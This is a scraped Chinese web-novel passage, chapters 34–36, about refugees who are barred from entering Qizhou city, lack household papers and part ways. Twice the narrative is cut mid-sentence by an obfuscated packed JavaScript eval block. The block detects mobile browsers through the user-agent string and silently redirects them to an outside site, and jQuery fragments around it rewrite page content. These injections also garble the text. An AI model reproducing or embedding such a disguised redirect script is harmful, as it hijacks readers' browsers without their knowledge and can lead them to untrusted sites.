老汉一听周二说想去岐州,叹了口气,“岐州如今怕是不好进了。” “大叔你是岐州人?” “是啊,这里就是岐州常乐县,我们爷孙都是常乐县大桥村人,平时我们采的药也基本是供给常乐县城的百草堂的。” 众人一愣——原来已经到了岐州?可紧接着,就听到无法进城的坏消息。 “为什么不给进城啊?” 34. 城门风波 “因为在打仗啊。”老汉长叹一口气,“如今,岐州七县皆已戒严,除了有过所的本地人,像你们这些逃难来的外地人都是进不了城的。而府城更是三日前就出了告示,只许出不许进了。” 什么?! 岐州也发生战乱了吗? 众人脸上出现痛苦的神色。他们一路逃亡,就是为了求一条活路,可怎么就这么难呢? 看到他们如丧考妣,老汉安慰道:“你们也不用太担心,暂时还打不到我们这里。而且朝廷已经派了大将军前去镇压叛军,等乱军平定,城门还会开的。” “那,大叔,你知道是哪路的叛军吗?不会是北狄吧……” 难道北狄已经突破前线围堵,攻打到这里了吗?可是不是说朝廷征了大量兵丁前往北地,没有拦住吗? “不是,是啥王来着?哎呦,瞧我这记性!”老汉说着,看向自己孙子。 “是渝北王。” “对对付,渝北王。” 众人松了口气,不是北狄就好,不过这渝北王又是什么王? 他们是这么想的,也是这么问的。 老汉显然对这些事情也不太清楚,“听说是渝州那边有人私底下铸造兵器,勾结山匪造反,在渝州自立为王。” 他摇摇头,“这世道,有点兵马的都想称王称霸。” “那,大叔,你知道如今朝廷还在征兵吗?” 周二问出了他们一直担心的事。 如果山下还在大肆征兵,那他们还是得呆在山上,否则下山就是死路一条。 听到周二的话,老人打量了他们一眼,“你们是逃役的?” 周二连连摇头,“不是不是,我们是延州城破时,逃入山中的,并不知道朝廷征兵一事。还是在商州时,偶然遇到一猎户,从他口中得知如今朝廷在征兵。可我们这些人刚死里逃生,实在是……不敢啊……” 老汉垂下眼帘,然后轻叹一口气,“是不是的,都和老头子我没关系。这世道乱啊,大家都是想求条活路。要是可以,没人想被征去前线,那是九死一生的路,我大儿子和二儿子也不知还能不能回来……” 旁边的青年听到自己爷爷的话,也面露哀伤神色。 “如今岐州已经有一段时间没有再大肆征兵了。你们可以稍微放下点心来。” 老汉说完这些便站起身准备离开,“行了,这伤休息几天就好了。我们爷孙俩还要接着去采药去,不然今天该没有收获了。” 看着老汉要走,江夏忙开口拦住他,“爷爷,你们来这里采药,那这儿是不是离村子不远啊?” “是不算太远,不过,你问这做什么?”老汉怀疑的看着她,倒不是认为江夏一个孩子能做什么,只是这世道太乱,万一有什么不怀好意的人打他们村子的主意怎么办,该有的戒心还是要有的。 “我们这几人既不懂药理,现在身上也没有药,若再在这大山里呆着,实在是不太安全。所以想着要是能离村子近些,安全些,真有个啥事儿也能像现在一样,寻求别人的帮助。 今天要没有您,这伤我们一时半会儿也不知该怎么办。这还是小伤,要是重伤,估计也等不到别人来救了,就只能等死了。” 老汉点点头,明白了她的意图,不过却没有直接告诉江夏村子在哪儿。 “你们要想离村子近些,可以沿着方向走,翻过三座山就能看到官道了。”老汉手指着右手边,“你们沿着官道走,能见到好些村子。不过,你们是外地来的,估计现在没人愿意接纳你们。” 老汉摇摇头,拽了下自己背着的背篓,也不多逗留,拉着自己孙子就走了。 留下江夏几人面面相觑。 周二:“岐州现在进不去,你们有什么想法?” 原本这话该是周大来说的…… 江夏:“我的想法刚才已经说了,我是觉得以现在我们的情况,再呆在山中是不安全的,可以尝试着往山下走走看。他说我们进不了村子,那我们可以呆在村子旁边啊。” 李木:“我赞同小夏的观点。” 刘老三也在一旁不住的点头,“我听你们的。” 周二看了眼林氏,见她没有反对,便说:“行,既然如此,那我们就先往山下走,看看情况再说。” 众人沿着老汉指的方向出发,天色擦黑就看到一处坐落在群山之间的村庄。 他们没有下山,而是在山腰处找到的一个窝棚停了下来。 这窝棚应该是之前进山打猎或采药人留下的,棚内还算干净,旁边还有一个简易灶台,收拾一下就可以直接使用。 生火,简单煮了些野菜汤,用过就睡下了。 夜晚,他们尚在睡梦中,突然被杂乱的脚步声惊醒,从窝棚里走出去,就看到一群穿着粗布麻衣的人举着火把,将他们团团围住。 其中,有男有女,有老有少。但相同的是他们的衣服上都打着许多补丁,脸上满是戒备。 在看到江夏他们一伙人中有女人和小孩后,脸上的戒备稍稍放松了些。 为首的老者问道:“你们是什么人?为什么会在我们村后头?” “我们是从延州逃难而来山中危险,见这里有窝棚,就私自在这儿住下了,没有恶意的。”周二上前解释道。 老者皱眉看着他们,“不行,你们不能呆在这儿,赶紧走。” “为什么?”林氏抢先反问道,“我们又没进你们村,就在这山腰上呆着也不行,你未免管太宽了些吧。” 林氏这毫不客气的话语惹得对面那群人顿时变了脸色,“这是我们村的山头,你说我们管不管得着?说了不给呆就是不给呆,走走走,赶紧走!” 那些人举着火把围得越来越近,周二见局势不好,也只能放低姿态,赔笑着说道:“大家见谅,我大嫂也是心疼孩子。” 说着将子安拉上前来,拽了下他的裤腿,“这孩子今天被蛇咬了,刚上了些药,需要好好休息。我大嫂心里着急,这说话才难听了些,大家不要往心里去。” 周二这话一出,人群里几个年轻妇人的表情有些松动,面露不忍。 而老者却不为所动,“话是这样说,但我也不能留你们在村子附近。你们来历不明,如今又山匪猖獗,若你们心怀歹意,那我就是全村的罪人了。我赌不起,你们还是走吧。” “我们真不是,谁家山匪还带着女人和小孩啊?而且,你看我们这没几两肉的样子,哪个山匪会收我们。” 他们在山里呆了几个月,蓬头垢面,衣衫褴褛就不说了,就是人也瘦了一大圈,原本高大健硕的周二也只剩下高了。 “你们是不是都无所谓,我们村反正是不能留你们。你们要真的没地儿可去,可以往县城的方向去,那里有不少逃难来的流民。” 见这群村民死活不同意他们留在此处,周二也别无他法,退一步与老者商量道:“您看,这天这么黑,赶路也不安全,我们等天亮再 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江夏:“我只是提出我的意见,如果你觉得我说的不对,可以选择再往回走,回到山上去。” 周二:“大嫂,现在不是责怪谁的时候,谁也不想发生这样的事情,现在我们该想的是要去哪儿?怎么去?” “还能去哪儿?去县城呗,那人不是说了嘛,那里有很多像我们一样的流民,去那里总不会有人赶我们走了吧。” 刘老三有些担心,“可是……城门那里会不会不安全?要是发生战事,我们连躲的地方都没有。” “先往前去看看吧,反正这里也已经待不下去了。”周二一锤定音,其他人也没再反驳。 江夏拉着江诚回到窝棚重新躺下睡觉,养好精神才能更好地应对接下来可能发生的事情。 …… 晨光初曦,他们便收拾好东西往山下走,路上还遇到上来查看他们有没有离开的村民,再从他们口中打听到县城的方向——沿着官道向东走二十几里路便到了。 官道上行人不多,但偶尔还能看见三三两两的人结伴,背着背篓往县城的方向走。 不过比起江夏他们一伙人,那些人就干净整洁许多,想来应该是附近的村民。 而那些村民看见他们,则纷纷皱眉离他们更远些,时不时还互相交流两句。 走了一个多时辰,远远就看到道路尽头那略显陈旧的城墙,走近一看,就见城门口有四名手持武器的士兵守着,还有一大群人神情麻木地或坐或躺在城门的阴凉下,那些人和他们没有什么区别,同样的邋遢肌瘦,。 看到江夏他们一伙人走近,也就零散几人抬头看了过来,随后又漠然地将头转开。 江夏他们找了处离流民群稍远些的阴凉处坐下,就看到路上遇到的村民走到城门口,从怀中掏出一张纸递给士兵。 那士兵低头仔细看着那纸,还时不时问一两句,随后就放他们通行了。 而那些停留在城门口的人见那几人进去,有些蠢蠢欲动,朝着城门口走了几步,那些士兵就齐刷刷举起手中的武器对准他们,“擅闯城门者,死!” 一声暴喝,那些人又只能悄悄退了回去。 周二:“看来我们是进不去城里了。”他看了一圈周围的流民,目光停留在一对年轻少年身上,“我去找人打听一下情况。” 35. 城门告示 周二说完便朝着那两名少年走去。 江夏顺着他的身影望去,只见离他们不远处的树荫下坐着两个少年,一个瘦瘦小小,约莫十四五岁,另一个稍大些,估计和李木差不多大。他们衣衫褴褛,面容被尘土遮掩,与城门口的流民群保持着一段距离。 大的那个靠着树干闭目养神,小的正蹲在一旁无聊地揪着路边的野草。 看到周二靠近,正拔着草的孩子蹭的跑回树旁,原本闭着眼睛的少年也睁开了眼睛,直直的朝着周二望过去,眼神中满是戒备。 周二见状停下脚步,蹲在原地与两人保持距离。 不知周二说了些什么,少年们的戒备渐渐松懈,但仍然保持着距离,交谈片刻后,周二便返回了队伍。 “二哥,情况怎么样?”李木第一个迎上去问道。 周二擦了擦头上因为炎热而冒出的汗水,“那两兄弟是从商州逃来的,也就比我们早到这里三日。他们来时城门就已经封锁了,听说是京城派来的大将军下的令,至于何时解封,他们也不清楚。” “这城啥时候解封?能不能解封都不知道。这些人就在这里干等吗?”林氏有些不耐。 “眼下也就只有这个法子了。听说这次派来的将军有些本事在身,这里好多人都是慕名前来的。我看这么多人都在等,想来这话应该是真的。” 众人闻言纷纷卸下行囊,在路边清理出一块空地暂时安顿下来。 周二生性热情,不过短短几日,就与周围那些流民熟络起来。从他们口中得知,下令封城的将军姓韩,名叫韩定,是圣上亲封的镇西将军,负责西南一带的乱军平叛事宜。 这韩大将军原是黔中人士,十五入伍,二十七岁就已经成为于雁门关大雪中砍下了敌军将领的首级,被提拔为副将。 三十三岁时,西戎十二部联军犯境,他带领两万韩家军以少胜多,大破敌军,被先帝封为夔虎将军。 三十六时先帝驾崩,新帝即位,对于像韩定将军这样的老臣并不重用。 四十岁时,韩定将军在一场战役中大败敌军,被圣上收回了兵权,赋闲在家,直到如今乱世再现,才被圣上重新启用。 “那韩大将军真有这么厉害?我们都在这城门口等了这么多天,也没听见他打胜仗归来的消息啊。”刘老三狐疑道。 周二耸肩摊手,“京城离这儿十万八千里,这些人谁去过,都是道听途说罢了,真要问起来,谁也说不清消息来源。” 旁边一个老汉听到周二他们的对话,皱眉反驳道:“韩大将军就是我们黔中石阳县人,老头子我年轻时还见过他呢。” 老汉的声音吸引了周二他们的注意,转头看去,就见那老汉牙都快掉光了,头发稀疏,眼睛发黄浑浊。 “大爷,你说你见过?什么时候?那将军长什么样?” “大概在二十年前吧。”老汉抬头看向天空,似在回忆又似在怀念,“当时他还年轻,穿着盔甲,那真是通天的气派,看着就不是凡人。你想呀,他就是一农户家的孩子,当了大将军,这能是凡人吗?” 那老汉越说越夸张,周二两人对视一眼,默默走开了。 不过说曹操,曹操到。 这日晌午,守城士兵刚换岗,官道尽头突然传来急促的马蹄声。一匹黑色骏马踏着烟尘疾驰而来,马背上是个背着行囊的传令兵。 他在城门前猛地勒马,马蹄高高扬起,又重重落下。他亮出一块令牌,守军首领见状连忙行礼,喝令其他人让开。 门口的流民屏息看着这一幕,脸上满是复杂,既期待又忐忑。 就在众人忐忑不安的等待中,次日上午,城中走出一队人,为首的是一个书生打扮的青年,旁边还跟着两个兵卒。 那两名兵卒合作将一张纸贴在城墙上,书生则站在告示前,朗声对着围上来的百姓和流民宣布道:“韩大将军成功击退敌军,即日起城门正常开放,辰开酉闭,凡岐州百姓可自由进出,外来者需持户籍和路引方可进城。 大将军考虑到如今战乱未平,特放宽管制,允许离乡百里,有户籍而无路引者进入城内赈灾所,但进城需纳钱一文,以资赈款。” 书生大声将纸上的内容告诉周围的百姓后,就带着那两名兵卒离开了。 原本安静听着的人群顿时躁动起来, 本地的百姓欢呼雀跃,庆祝大将军大胜归来,他们岐州安全了。 而流民则争先恐后涌向城门,告示前很快就挤得水泄不通。如今天气愈发的炎热,流民身上的味道可不好闻,时不时就能听到人群中传来咒骂声。 但如今大家的心神都被那薄薄的一张纸所吸引,哪里还顾的上与人争嘴。 周二仗着自己个子高,也挤进人群中,但看着纸上密密麻麻的文字,顿时觉得头大,于是拍了拍自己前头穿着干净整洁衣裳的中年男子,“刚才那人是谁啊?他说得可作数?我们真能进城?” 被周二询问的那人,回头被周二的高个惊了一下,随即看清他那流民装扮后,眼神变得轻蔑,“那人是县衙的礼房书吏,说的话自然作数。” 周二也不在乎那人眼中的轻视,听到了自己想要的答案后,从人群中又挤了出去,跑回到大家身边。 “成了!”他抹了把汗说道:“咱们能进城了!” 众人喜出望外,连忙收拾行装。城门前已经排起长龙,守军正在逐个查验放行。 看着前方流民陆续入城,周二他们悬着的心终于落了下来。 与众人兴高采烈的神情不同,江夏和江诚脸上并不见多少的喜色——他们姐弟二人并没有户籍证明。 周二他们从是战乱发生后,平安城中逃离的,而江夏是穿越而来,当时原主江月算是被关在寺庙,江父江母自然不可能将户籍交给她,而江诚是从城中偷溜出来的,也同样没有户籍。 “小夏,阿诚,你们在干嘛呢,快点收拾东西,我们进城啊。”刘老三背上行李,回头看到江夏二人呆愣在原地,“这是高兴傻了吗?” “三哥,我们没有户籍……”江夏轻声说道。 “什么?!”刘老三一惊,随即又想到江夏他们二人与他们不同,“那怎么办?那人有说没有户籍该怎么办吗?” 江夏摇摇头,当时她就留心去听了,那人说完,她和江诚确认了一下,两人都额米有听到关于没有户籍该怎么办。 “那……告示上有写吗?” 江夏和江诚一起看向周二,周二挠挠头,“那字太多了,我没怎么看懂……” 这年头识字的人寥寥无几,像周二这样识得一些常用的数字,会写自己名字,已经很是难得了,但告示上那密密麻麻的字,他实在难以辨认。 “周二叔,你带我去吧,我识得一些字。”江诚在一旁说道。 “对啊。”周二一拍脑袋,“走!” 他们兄弟二人去和合酒楼吃饭,常听江掌柜夸耀自己儿子。 周二将江诚架在自己肩膀上,重新挤到告示前,本就高大的周二再加上江诚,在人群中格外醒目。 不多时,两人就回来了。 “上面写了,无户籍者,可找两人担保,担保人每人要缴纳一百文钱。” “那没问题,我们这里有四人,正好可以替你们担保啊。不过这钱……” “这钱自然是由我们出,”江夏笑道;“麻烦大家了。我们不但出这钱,要是成功进城,我们姐弟俩还请大家吃一顿。” 刘老三笑着说她要小心,要进城后,他可是要大吃一顿。江夏一概笑着应下,低眉侧目看向林氏的方向。 林氏牵着子安的手,站在一旁冷漠地看着他们几人说说笑笑。 ----------------- 城门口摆着两张方桌,桌前站着衙役,负责核查各户户籍,桌后各坐着一名书吏,摊开黄册,朱笔高悬,喝令:“排队,按户登记。” 众人排好队,逐一核查,点名,按指纹画押。 等到太阳升到头顶,终于轮到周二一行人。 周二和林氏站在最前头,那衙役抬眸看了他们一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“大嫂,小夏他们和我们一路走来,他们姐弟是什么样的人你还不清楚吗?”周二皱眉,很不赞同的看着林氏。 “我清楚什么?人心隔肚皮,就这短短几个月的时间,你就摸透了?”林氏转头不看周二,“我只知道,她就是个骗子!还见死不救!” 气氛凝重,但江夏一直提着心,却在此刻落了下来——原来在这里等着自己呢。 看着周二他们满脸纠结,不知如何是好,她正准备上前,那衙役不耐烦的打破了沉闷的气氛。 “谁说你们可以为她担保了?担保人需为本地户籍者,你们自己都是没有路引的流民,还想为别人担保,想的美。” 说完,将江夏二人推到一旁,“走走走,别在这里耽误我的事。没有户籍,没有担保人就进不了城,要想进城,就去找担保人。” 周二他们回身想要去拉她,却被那士兵拦住,“你们要是不想进城,就出来!但我告诉你们,现在不进城,等日后流民多了,你就是想进城,也不一定可以了。” 周二他们往外走的脚步一顿,站在原地看着江夏二人。 “周二叔进去吧,别担心我们了。”江夏笑着说道:“你们护了我们一路,已经仁至义尽了,不要有负担。我们会去找担保人,要是有缘,还会再见面的。” 看着江夏的笑脸,林氏轻哼一声,扭头拉着子安走了。 周二看看江夏,又看看林氏,咬牙对江夏说道:“我每日都会来城门口,那你要是有什么事,就来这里找我。” 看到江夏笑着点点头,便转头追着林氏去了。 李木和刘老三看着江夏也说道:“我们在城里也会帮你们找担保人的。” 江夏同样笑着点点头,等到他们的身影都消失在城门后,脸上的笑容才逐渐消失。 “阿姐,我们现在该怎么办……”江诚握着她的手,抬头茫然看着她。 江夏拉着他往外走,“走,我们去府城。” “府城?!可我们没有担保人,去府城也进不去啊。” 36. 搭顺风车 “有钱,还怕找不到人愿意为我们担保吗?”江夏笑着说道。 在这个世上,求人办事无非两样:要么靠交情,要么靠银钱。老话说得好,有钱能使鬼推磨。 “可是阿姐,既然能花钱找人担保,我们为何还要去府城?跟周二叔他们一起进这常乐县不好吗?”江诚不解。 江夏轻叹一声,耐心解释道:“方才周大婶的话你也听见了。既然已经心生嫌隙,勉强同行只会让彼此都不痛快。既如此,不如趁早分开,好歹还能留些情面。 毕竟……周大叔他们的确帮过我们不少……” 林氏自从周大死后,整个人都变得偏执起来,处处刁难他们不说,甚至还伤害过阿诚。江诚心性单纯善良,可能已经不太在意,但她江夏却没那么容易释怀。既是因为原主江月的托付,而自己又占了别人的身子,也因为江诚这孩子的确乖巧懂事。 如今周大已逝,以周二重情义的性子,定会好生照料周大的遗子子安。若是将来他们遇到什么难处,碍于这份恩情,自己也不好袖手旁观。 虽然眼下考虑这些还为时尚早,毕竟比起周二他们,他们姐弟二人才是处于弱势的一方。 但林氏今日的这番闹腾,反倒给了她一个名正言顺离开的机会,还能让周二他们心存愧疚。 “可是……”江诚看着那城门,有些犹豫道:“如果只是为了避开周大婶,我们找个近些的县城不行吗?府城在哪里我们也不知道,万一很远怎么办?我们人生地不熟的……” 虽说聪慧懂事,可到底还是孩子,三个月漂泊无依的逃亡路,让江诚身心俱疲,是真的很想要安顿下来。 “再远还能比延州到这里远吗?”江夏揉了揉弟弟的头发,“既然要选落脚的地方,自然要挑最富庶的城池。” 就像现代人外出打工首选北上广深一样,大城市机会多,包容性也强。 在这个时代,府城不仅生活条件优于普通县城,将来若想要定居下来,发展空间也更大。 另外还有一个原因就是,她对别人口中的那位韩大将军很是好奇。 这样位高权重的人物,莫说这辈子,就是她穿越前也没机会见到,当然电视上看到的不算。既然机缘巧合来到这里,若是有幸一睹风采,也算不虚此行。 倒不是说她有什么不切实际的非分之想,说她凭着现代人的见识就能让大将军另眼相待,将她奉为上宾。 她纯粹就是好奇。 就好比,你和朋友在路上逛街,但不知道接下来去哪里,这时正好有人说附近商场有明星线下活动,你可能对这个明星不感兴趣,但还是有可能会去凑个热闹。 …… 江夏二人从城门口的队伍中离开,回身竟看到先前周二打听消息的那两少年也被守城士兵赶了出来。 因为有了林氏的前车之鉴,江夏打定主意不再与人结伴,因此只是淡淡瞥了一眼便收回了目光,牵着江诚回到告示前。 此时围观告示的人已经散去大半,流民们大多去排队进城了,只剩下些本地的百姓还在张望讨论。 江夏找了个衣着相对齐整的男人,客气地向他打听起府城的方向。 “你要去府城?”男人上下打量着他们二人,“府城离这儿沿官道向东走大概三日就能到。不过现在戒严刚解除,路上估计不会太平,你们两个半大孩子要独自上路,半道上就能让人给绑喽。” 看着俩人顿时大惊失色,男人又补充道:“你们要是不急,可以在稍在此等候。之前因为府城戒严,只许出不许进,府城蓉锦阁的一队水客被迫停留在县城中,如今戒严解除,他们估计不日就要返回府城,你可以跟在他们商队的后面,会更安全些。” “这……可以吗?”江夏有些怀疑。 虽然她对这个时代的行商规则并不了解,但总觉得天下没有免费的午餐。 “按规矩那肯定是不可以的。一般的商队只许交过帮费、登记在册的小商贩‘挂旗’同行。你们这些流民,既没身份,又拿不出钱,明面儿上肯定不让你入队。想跟着,就只能远远缀在后头,隔着半里地走。这大路朝天,他们拦不住的,可也休想蹭他们的水粮。” “这是自然。能够跟着就很感激了,哪还能奢望蹭人家的水粮。”江夏道谢。 男人不放心的又补充道:“赶路时啊,记住一定要低着头,别东张西望,更别盯着别人的货垛,省得被当成踩盘子的匪探。” 江夏再三道谢,拉着江诚又回到了他们先前休息的地方。 而那头,周二等人登记好个人信息后被放入城中。在衙役的带领下,穿过满是泥泞的巷道,最终来到所谓的赈灾所,但眼前的景象让所有人倒吸一口凉气。 说是所,其实就是一个废弃的仓库,十几个歪斜的窝棚勉强支在杂草丛生的泥地上。 “这……”众人面面相觑,难以置信。 “都听好了!”衙役扯着嗓子喊道:“男人左边,女人右边!听好锣声,每日卯时上工,酉时下工,以工代赈!” “这……大人,这是为什么?我们是夫妻二人,可以留在一处吗?” “让你们分开就分开,废什么话。”那衙役顿时斜眼看来,“男人筑城,女人织布伙食,只是规矩!” 人群顿时噤若寒蝉,低着头走到自己的队伍。 “那大人……这孩子还小,过去也帮不上什么忙,能不能留在自己身边。”一个妇人身边跟着个不过七八岁的孩子,“而且这些都是大老粗,照顾自己都困难,更别说照顾孩子了。” “非常时期,七岁及以上男丁皆需编为工。” 子安被吓得直往林氏身后躲,脏兮兮的小脸上挂着泪,“娘……” 林氏谄媚的对着那衙役说道,“大人,我这儿子打小就没离开过我,现在他爹也不在了,您看,能不能通融通融,让他和我待一起。” “命令就是命令。你算什么东西,县令的命令是你能违抗的。走走走,别碍着我的事。”说着推了林氏一把,“你儿子是男的吧,是男的就待男的那一队!” 周二忙上前扶住林氏,“大嫂,你别担心,我以自己的性命发誓,一定会照顾好子安的。” “是啊,大嫂,你别太担心,有我们在呢,不会让人欺负了子安去。”李木和刘老三也开口应和道。 “反倒是大嫂你,你一个人可以吗?” 林氏抹着泪点头:“只要子安平安……” 队伍分开,男丁们又在衙役的带领下,被带往西边的工地。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15944642|173042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烈日下,工地上杂乱无章摆放的许多待用的木头与石料,尘土飞扬,十多个赤膊汉子正扛着圆木来回奔走,汗水混合着尘土在他们的身上划出一道道沟壑。 一监工模样的汉子见衙役领着一群人过来,忙躬身过来,“大人。” “新来的流民交给你了。”衙役对着那监工交代完便转身离开了。 “是。”汉子满脸笑容的送走了衙役后,转身,脸上的笑容已经消失的一干二净。 “听着!若不是府城一纸文书,勒令县令‘赈济’,像你们这样贪生怕死,背井离乡逃到这里的流民,活该在城壕外喂了野狗。如今城里寸地如金,可没有闲屋给你们,能够放你们进来,已经是县令心善,你们就该感恩戴德。要想在着这城里住下来,就给爷卖力筑棚屋去,敢偷懒,鞭子伺候!”说着挥动了自己手中的鞭子,“啪!”的一声,狠狠抽打在地面上。 见流民脸上浮现出恐惧之色,才露出心满意足的微笑。“你们今日来的巧,午时会有人送饭。吃过饭就开工!” “是一天只提供一餐吗?”人群中有人弱弱的问了句。 “咋了,你还想吃几顿?现在粮食多珍贵你们不知道?大家都在省吃俭用,将粮食供给在前线的士兵们,你认为你们的命比那些出生入死的将士们还重要吗?” 那人瑟瑟发抖,不敢再说。 等到那监工走后,死寂的人群这才逐渐响起压抑的议论声。 …… 翌日清晨,城门刚开,十二辆装满货物的骡车就从城中缓缓驶出,等最后一辆骡车快要消失在眼前时,江夏赶紧拉上江诚,在尾车扬起的尘土里追了上去,并始终与他们保持不远不近的距离。 车辕上插着的靛青色小旗被风吹得猎猎作响,旗面用白线绣的“蓉”字时隐时现。 青底白字的旗帜意为“绸庄水客”,沿途厘卡见旗即免开箱。 商队的伙计统一用青布包头、酱色布条绑腿。但除了这些统一装扮的人外,还有一些穿着褐色粗布短打,肩上挂着褡裢的散户,大概有六七人。 同时江夏还注意到,还有几个与她有同样想法的流民,他们同样低头默默地跟在队伍的后头。察觉到有人看自己,那些人抬头瞪了江夏一眼,随即又低下头,离她更远了些。 “阿姐,前面那个骑骡子的回头看我了。”江诚突然扯着她的衣袖说道。 江夏抬头望去,果然见队尾有个带着斗笠的汉子正斜睨过来,腰间别着的牛皮鞘随着骡步一颠一颠地反着光。 江夏忙摁下江诚的脑袋,拉着他躲到路旁,待车队转过弯,这才长舒一口气,重新跟上。 就这般若即若离的走了半日,晌午车队在官道旁的水井处停下,这是供车马行人歇脚饮水。 车夫将套绳解开,给骡子喂了些口粮后,让它们就地放青,其他人也拿出干粮啃着。 远远的看到车队停了下来,江夏二人也找了处荫凉坐下。 注:水客为一些中等规模的布庄、药铺派去产地场,现场看样、讲价、打包后,自雇船帮或马帮运回的人群,类似与后世的采购。 挂旗:大商户允许小商户或散户跟着自己的队伍逃避商税,自己则收取一定的费用,但不保证安全。